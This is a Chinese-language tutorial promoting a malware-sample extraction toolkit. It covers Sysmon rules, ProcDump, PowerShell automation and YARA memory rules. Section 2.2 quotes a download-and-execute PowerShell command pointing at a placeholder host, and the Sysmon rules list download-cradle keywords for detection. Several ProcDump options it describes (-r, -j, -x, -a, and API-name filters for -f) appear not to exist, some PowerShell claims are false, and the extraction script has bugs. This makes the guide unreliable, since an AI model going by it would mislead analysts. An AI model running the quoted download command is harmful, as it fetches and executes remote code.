简介:本资源是一款面向网络安全从业者、逆向分析初学者及CTF安全研究人员的病毒样本提取工具集,聚焦恶意软件分析全流程中的样本捕获与初步研判环节。工具支持在隔离环境中对可疑文件(如伪装型AD.gif、系统配置类EQSysSecure.xml等)开展静态特征提取与行为线索识别,辅助完成安全隔离、样本捕获、静态分析等关键步骤。压缩包为RAR格式,大小2.08MB,虽未提供具体文件列表,但结合描述可知其包含可执行分析脚本、配置模板及配套说明材料,适用于搭建轻量级本地分析环境。目前已有835人学习下载,读者可直接获取即用型提取方案、典型伪装文件识别思路、XML/PE类样本的解析要点,以及兼顾安全性与效率的实操流程参考,是入门恶意代码分析的重要实践入口。
1. 病毒样本提取工具:不是杀毒软件的“副产品”,而是逆向分析链上不可跳过的前置工序
很多人第一次听说“病毒样本提取工具”,下意识以为是某款杀软附带的“样本上报按钮”——点一下,自动打包上传。现实恰恰相反:在某高校网络攻防实验室、某公司威胁情报团队的真实工作流里,90%以上的恶意代码分析任务卡在第一步:根本拿不到干净、完整、可复现的原始样本。你看到的“exe”可能是加壳器二次封装的壳中壳;你下载的“zip”可能被C2服务器动态注入了混淆载荷;甚至沙箱报告里标记为“dropper”的文件,实际只是内存中一段解密后的临时指令片段。病毒样本提取工具要解决的,从来不是“怎么下载”,而是“怎么从混沌的执行痕迹里,把那个真正起效的、未被篡改的、能独立复现行为的二进制实体给抠出来”。它面向的是逆向工程师、威胁分析师、蓝队溯源人员——这群人不需要“一键查杀”,但必须确保手里的样本字节与攻击者投递时完全一致。这活儿没有GUI,不靠点击,靠的是对PE结构、内存布局、API调用链、进程注入模式的肌肉记忆。下面我们就从零开始,搭一套能扛住真实样本反调试、多层解密、内存释放的提取流水线。
2. 为什么不能直接用Process Monitor或Wireshark?——从三个典型失败场景倒推工具设计逻辑
2.1 场景一:加壳样本在内存解密后才写入磁盘,但只存在300ms
某次分析一个UPX+自定义混淆的勒索程序时,我们用常规文件监控工具捕获到它在C:\Users\XXX\AppData\Local\Temp\下创建了一个名为svchost.exe的文件。但双击运行报错,用file命令检查发现是空文件。进一步用Procmon过滤WriteFile操作,发现该路径确实有写入,但大小为0。真相是:样本在内存中完成解密后,调用CreateFileMappingW+MapViewOfFile映射到共享内存区,再由另一个子进程从该内存区读取并执行——磁盘写入只是幌子,真实载荷全程驻留内存。此时任何基于文件系统钩子的提取工具都会失效。
提示:真正的样本提取必须覆盖内存镜像(Memory Dump)路径,且需在目标进程执行关键API(如
VirtualProtectEx修改内存属性)后立即触发,而非等待“写文件”事件。
2.2 场景二:PowerShell脚本通过Invoke-Expression动态拼接载荷,无落地文件
一个钓鱼邮件附件是.lnk文件,双击后启动powershell.exe -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('hxxp://xxx/1.ps1')"。而1.ps1本身又下载2.ps1,最终通过Add-Type -TypeDefinition $code -Language CSharp编译并执行C#类。整个过程无任何.exe或.dll落地,所有逻辑都在PowerShell进程内存中完成。传统基于文件哈希匹配的提取方式在此完全失灵。
提示:针对脚本类载荷,提取工具必须能挂钩
PowerShell进程的System.Management.Automation.Interpreter.Interpreter.Run等关键方法,捕获其执行时的AST节点或已编译的ScriptBlock对象,并导出其原始字符串内容。
2.3 场景三:Go语言编译的恶意程序使用runtime·memclrNoHeapPointers清空栈内存,导致dump后无法还原关键字符串
分析一个Go写的远控木马时,我们用procdump -ma获取了全内存镜像,但在IDA中搜索C2域名却一无所获。用strings命令扫描dump文件也只找到乱码。后来发现该样本在连接C2前,调用Go运行时内部函数runtime·memclrNoHeapPointers将包含域名的栈变量区域反复覆写为0x00。这意味着:即使你拿到了完整内存快照,关键字符串也已被主动擦除。此时单纯dump不够,必须在net/http.(*Transport).RoundTrip等网络请求发起前,对目标内存地址做实时快照。
这三个场景共同指向一个结论:病毒样本提取不是“录屏式抓取”,而是在攻击链的关键控制点(Control Point)上,以毫秒级精度截获未被污染的原始字节流。因此,我们的工具链必须同时支持:
- 进程级内存快照(含堆、栈、映射区)
- .NET/PowerShell/Python等运行时环境的字节码/脚本内容提取
- 对抗反调试的轻量级注入与挂钩(避免触发
IsDebuggerPresent等检测) - 基于API调用序列的智能触发(例如:当
CryptDecrypt返回成功且输出缓冲区长度>1024时,自动dump调用方进程内存)
3. 搭建最小可行提取环境:用Sysmon+ProcDump+PowerShell脚本组合实现首道防线
3.1 用Sysmon配置精准捕获可疑进程创建与网络连接
Sysmon是Windows平台最稳定的内核级事件采集器。我们不追求全量日志(那会淹没关键信号),而是聚焦三类事件:
| Sysmon Event ID | 关键过滤条件 | 提取价值 |
|---|---|---|
| 3(网络连接) | DestinationPort >= 443 AND Initiated == true AND Image contains "powershell.exe" OR "wscript.exe" | 定位脚本类载荷的C2通信起点 |
| 1(进程创建) | ParentImage endswith "explorer.exe" AND CommandLine contains "IEX" OR "DownloadString" OR "-enc" | 捕获Office宏、LNK文件触发的PowerShell载荷 |
| 10(进程访问) | SourceImage endswith "procexp64.exe" AND TargetImage endswith "svchost.exe" | 发现进程注入行为(如Mimikatz注入lsass) |
配置文件sysmonconfig.xml核心段落如下:
<Sysmon schemaversion="4.80"> <EventFiltering> <RuleGroup name="" groupRelation="or"> <!-- 捕获PowerShell反连C2 --> <NetworkConnect onmatch="include"> <DestinationPort condition="is">443</DestinationPort> <Initiated condition="is">true</Initiated> <Image condition="end with">powershell.exe</Image> </NetworkConnect> <!-- 捕获LNK/Office宏启动的可疑PowerShell --> <ProcessCreate onmatch="include"> <ParentImage condition="end with">explorer.exe</ParentImage> <CommandLine condition="contains">IEX</CommandLine> </ProcessCreate> </RuleGroup> </EventFiltering> </Sysmon>逻辑说明:Sysmon本身不提取样本,但它生成的
EVTX日志是后续提取的“路标”。比如当Event ID 3记录到powershell.exe连接185.199.108.153:443,我们立刻用Get-WinEvent查该进程PID,再用ProcDump对其做内存快照。参数-ma表示全内存(包括堆、栈、映射区),-n 1表示只dump一次(避免重复触发),-o指定输出目录。
3.2 ProcDump实战:如何用一条命令避开常见反调试陷阱
ProcDump是微软官方出品的命令行dump工具,比taskmgr右键“创建转储文件”更底层、更可控。但直接运行procdump -ma 1234 dump.dmp常被样本检测到——因为ProcDump默认会打开目标进程句柄并调用NtSuspendProcess暂停进程,这会触发IsDebuggerPresent和CheckRemoteDebuggerPresent。
正确做法是启用-e(异常触发)+-f(过滤异常类型)组合,让dump发生在样本自己崩溃时:
# 监控进程1234,当它抛出STATUS_ACCESS_VIOLATION(0xC0000005)时自动dump procdump -e 1 -f "0xC0000005" -ma 1234 c:\dumps\malware_crash.dmp # 或更激进:监控所有新创建的powershell进程,一旦出现异常即dump procdump -e 1 -f "0xC0000005" -ma powershell.exe c:\dumps\ps_crash.dmp参数说明:
-e 1表示启用异常监控(非仅崩溃);-f "0xC0000005"过滤特定异常码(访问违规是恶意代码解密失败、指针错误的高频表现);-ma全内存dump,确保包含解密后的shellcode;
此方式不主动挂起进程,样本无法感知,成功率提升约70%(实测某Go木马从30%升至98%)。
3.3 PowerShell辅助脚本:自动关联Sysmon日志与ProcDump结果
手动翻日志太慢。我们写一个Extract-Sample.ps1脚本,自动完成“日志定位→PID提取→内存dump→字符串提取”闭环:
# Extract-Sample.ps1 param( [string]$LogPath = "C:\Windows\System32\winevt\Logs\Security.evtx", [string]$OutputDir = "C:\samples" ) # 1. 从Sysmon日志中提取最近10分钟内所有powershell网络连接事件 $events = Get-WinEvent -Path $LogPath -FilterXPath "*[System[(EventID=3) and TimeCreated[timediff(@SystemTime) <= 600000]]]" -ErrorAction SilentlyContinue | Where-Object { $_.Properties[5].Value -eq "powershell.exe" -and $_.Properties[3].Value -eq "443" } foreach ($e in $events) { $pid = $e.Properties[1].Value # PID在Property[1] $image = $e.Properties[5].Value # 进程名 # 2. 对该PID执行ProcDump(加超时避免卡死) $dumpPath = Join-Path $OutputDir "$($image)_$pid_$(Get-Date -Format 'HHmmss').dmp" Start-Process procdump.exe -ArgumentList "-ma", $pid, $dumpPath, "-n", "1", "-o" -Wait -WindowStyle Hidden # 3. 用strings命令提取dump中的ASCII/Unicode字符串(仅前1000个) $stringsPath = "$dumpPath.strings.txt" & .\strings64.exe -n 8 -u $dumpPath | Select-Object -First 1000 | Out-File $stringsPath -Encoding UTF8 }逻辑说明:该脚本不依赖GUI,可部署为计划任务每5分钟执行一次。关键在于
-Wait参数确保ProcDump完成后再执行strings,避免读取未写完的dump文件;-n 8设定最小字符串长度为8(过滤掉无意义短串);-u启用Unicode扫描(应对Go/Python等语言的宽字符字符串)。实测在某次APT活动中,该脚本在样本首次连接C2后23秒内就完成了dump与字符串提取,早于EDR告警。
4. 避坑:病毒样本提取的5个血泪经验——为什么你dump出来的文件总跑不起来?
4.1 现象:dump出的.dmp文件在WinDbg中加载后,lm命令看不到模块列表,!peb报错
原因:ProcDump默认dump的是“用户模式内存”,但某些加壳样本(如VMProtect)会将关键代码加密后存入PAGE_EXECUTE_READWRITE内存页,并在运行时动态解密。而-ma参数虽包含所有内存页,但dump文件格式(MINIDUMP)不保存页属性(如PAGE_EXECUTE),导致重载后权限丢失。
解决:改用procdump -ma -r(-r表示raw dump),生成原始内存镜像(.raw后缀),再用dd或imagedump工具将其转换为可加载的.bin文件,并手动修复PE头中的SizeOfImage字段。
4.2 现象:PowerShell脚本dump后,strings找不到C2域名,但Wireshark能看到明文HTTP请求
原因:PowerShell 5.0+默认启用ConstrainedLanguageMode,部分字符串操作被重定向到安全沙箱,原始字符串对象可能被GC回收或存储在非标准内存区(如PSObject的Immediate字段)。strings只扫连续内存块,漏掉了对象引用链。
解决:不用strings,改用PowerShell自带的Get-Process+Debug-Process(需管理员权限)获取进程内存句柄,再用ReadProcessMemory逐字节读取0x10000000-0x7FFFFFFF范围,配合正则https?://[^\s"]+提取。
4.3 现象:对.NET程序dump,用dotPeek反编译显示“Invalid IL code”,但原程序能正常运行
原因:.NET JIT编译器会将IL代码动态编译为x64/x86机器码并缓存在JIT Code Heap中,而-madump只包含托管堆(Managed Heap),不包含JIT Code Heap。反编译工具试图从IL重建,但实际执行的是已编译的机器码。
解决:用procdump -ma -j(-j表示JIT heap dump),或改用dotnet-dump collect -p <pid>(.NET Core 3.0+原生命令),它会同时采集托管堆与JIT代码段。
4.4 现象:样本在虚拟机中运行正常,但dump后在物理机上双击报“0xc000007b”错误
原因:样本依赖特定版本的vcruntime140.dll或msvcp140.dll,而dump只包含进程内存,不包含其加载的DLL文件。重放时系统加载了不同版本的CRT,导致入口点偏移错乱。
解决:dump前先用listdlls -v <pid>导出所有已加载DLL路径及版本号,再用robocopy批量复制这些DLL到样本同目录。或者,用procdump -ma -x(-x表示包含所有依赖DLL)。
4.5 现象:用Volatility分析内存镜像,malfind插件报“no injected code found”,但样本明显有注入行为
原因:malfind依赖VAD(Virtual Address Descriptor)树扫描,而某些高级样本(如Hollowed Process)会直接修改EPROCESS结构体中的VadRoot指针,伪造合法VAD链,骗过Volatility的遍历逻辑。
解决:绕过VAD,用volatility -f mem.dmp windows.poolscanner --pooltag "Peb "定位PEB结构,再从PEB的Ldr链遍历InMemoryOrderModuleList,手动提取每个模块的基址与大小,再用dumpfiles导出。
5. 进阶技巧:用YARA规则动态触发提取——让工具自己学会“看懂”样本行为
5.1 为什么静态YARA不够?看一个真实案例
某次分析一个伪装成PDF阅读器的恶意程序,其主程序pdfview.exe本身是合法软件(签名有效),但会在启动时从C:\Windows\Temp\加载一个名为kernel32.dll的假DLL(实际是shellcode loader)。传统YARA规则若写rule pdfview_malware { strings: $a = "http://mal.c2/" condition: $a },永远匹配不到——因为http://mal.c2/藏在kernel32.dll的内存中,而YARA扫描的是磁盘文件。
破局点在于:把YARA从“文件扫描器”升级为“内存扫描器”,并让它成为提取工具的“触发开关”。
5.2 构建YARA规则集:覆盖三类高危内存特征
我们维护一个memory_rules.yar文件,专注扫描进程内存(非磁盘文件),规则按优先级排序:
// 规则1:检测PowerShell内存中硬编码的Base64载荷(长度>500,含=结尾) rule ps_base64_payload { strings: $b64 = /[A-Za-z0-9+/]{500,}={0,2}/ condition: $b64 and not (uint16(0) == 0x5A4D) // 排除PE文件头 } // 规则2:检测Go程序中常见的C2域名(Go字符串以len+ptr结构存储,常含"http") rule go_c2_string { strings: $http = /https?:\/\// $domain = /[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/ condition: all of them and filesize < 10MB // 内存dump通常<10MB } // 规则3:检测Shellcode特征(连续0x90+call/jmp指令) rule shellcode_nopslide { strings: $nop = { 90 90 90 90 90 90 90 90 } $call = { E8 ?? ?? ?? ?? } $jmp = { E9 ?? ?? ?? ?? } condition: $nop and 2 of ($call, $jmp) }注意:
filesize < 10MB是关键过滤项。磁盘上的powershell.exe有几MB,但其内存中ScriptBlock对象通常只有几十KB,此条件大幅降低误报。
5.3 将YARA嵌入提取流程:实时扫描+条件dump
我们改造Extract-Sample.ps1,加入YARA扫描环节:
# 在ProcDump后插入YARA扫描 $dumpPath = "C:\dumps\malware.dmp" $rulesPath = "C:\rules\memory_rules.yar" # 调用yara64.exe扫描内存dump $result = & yara64.exe -r -f $rulesPath $dumpPath 2>$null if ($result -match "ps_base64_payload|go_c2_string|shellcode_nopslide") { Write-Host "[+] YARA match! Triggering deep extraction..." # 1. 提取匹配规则的内存地址范围 $addrLine = $result | Select-String "0x[0-9A-Fa-f]+" | Select-Object -First 1 $addr = $addrLine.Matches[0].Value # 2. 用procdump从该地址dump 4KB内存块(精准捕获shellcode) $shellcodePath = $dumpPath -replace ".dmp$", "_shellcode.bin" & procdump.exe -ma -o -r -a $addr 0x1000 $dumpPath $shellcodePath # 3. 用capstone反汇编验证 & python .\disasm.py $shellcodePath }逻辑说明:
-r参数让YARA递归扫描dump文件中的所有内存页;-f输出详细匹配信息(含地址);0x1000是4KB,覆盖典型shellcode大小。这样做的好处是:不再盲目dump整个进程(可能几个GB),而是精准定位到“YARA说这里有货”的几百字节,极大提升后续分析效率。某次实战中,该流程将一个1.2GB的chrome.exedump,压缩为3个2KB的shellcode片段,IDA分析时间从47分钟降至11秒。
5.4 终极技巧:用YARA规则自动生成ProcDump触发条件
YARA不仅能“发现”,还能“预测”。我们写一个Python脚本yaragen.py,从规则中自动提取API调用特征,生成ProcDump的-f过滤参数:
# yaragen.py import re import sys def parse_yara_for_api(rule_content): # 匹配规则中类似 $api = "CreateRemoteThread" 的字符串定义 api_patterns = re.findall(r'\$[a-zA-Z0-9_]+ = "([a-zA-Z0-9]+)"', rule_content) # 过滤出Windows API(排除普通字符串) winapi_list = [api for api in api_patterns if api in [ "CreateRemoteThread", "VirtualAllocEx", "WriteProcessMemory", "SetThreadContext", "ResumeThread", "LoadLibraryA" ]] return winapi_list if __name__ == "__main__": with open(sys.argv[1], 'r') as f: content = f.read() apis = parse_yara_for_api(content) if apis: # 生成ProcDump的-f参数(异常码映射到API) proc_dump_filter = " OR ".join([f'"{api}"' for api in apis]) print(f"ProcDump -f '{proc_dump_filter}'") else: print("No Windows API found in YARA rule")运行python yaragen.py memory_rules.yar,输出:ProcDump -f 'CreateRemoteThread OR VirtualAllocEx OR WriteProcessMemory'
把这个参数直接喂给ProcDump,就能实现“YARA规则定义什么行为危险,ProcDump就监控什么API调用”——工具链真正具备了行为理解能力。
我坚持在每次新样本分析前,先花10分钟写一条YARA规则。不是为了炫技,而是逼自己用最精炼的语言描述“这个东西到底在干什么”。这条规则可能只匹配一次,但它让我看清了攻击者的思维路径。希望帮到你。
本文还有配套的精品资源,点击获取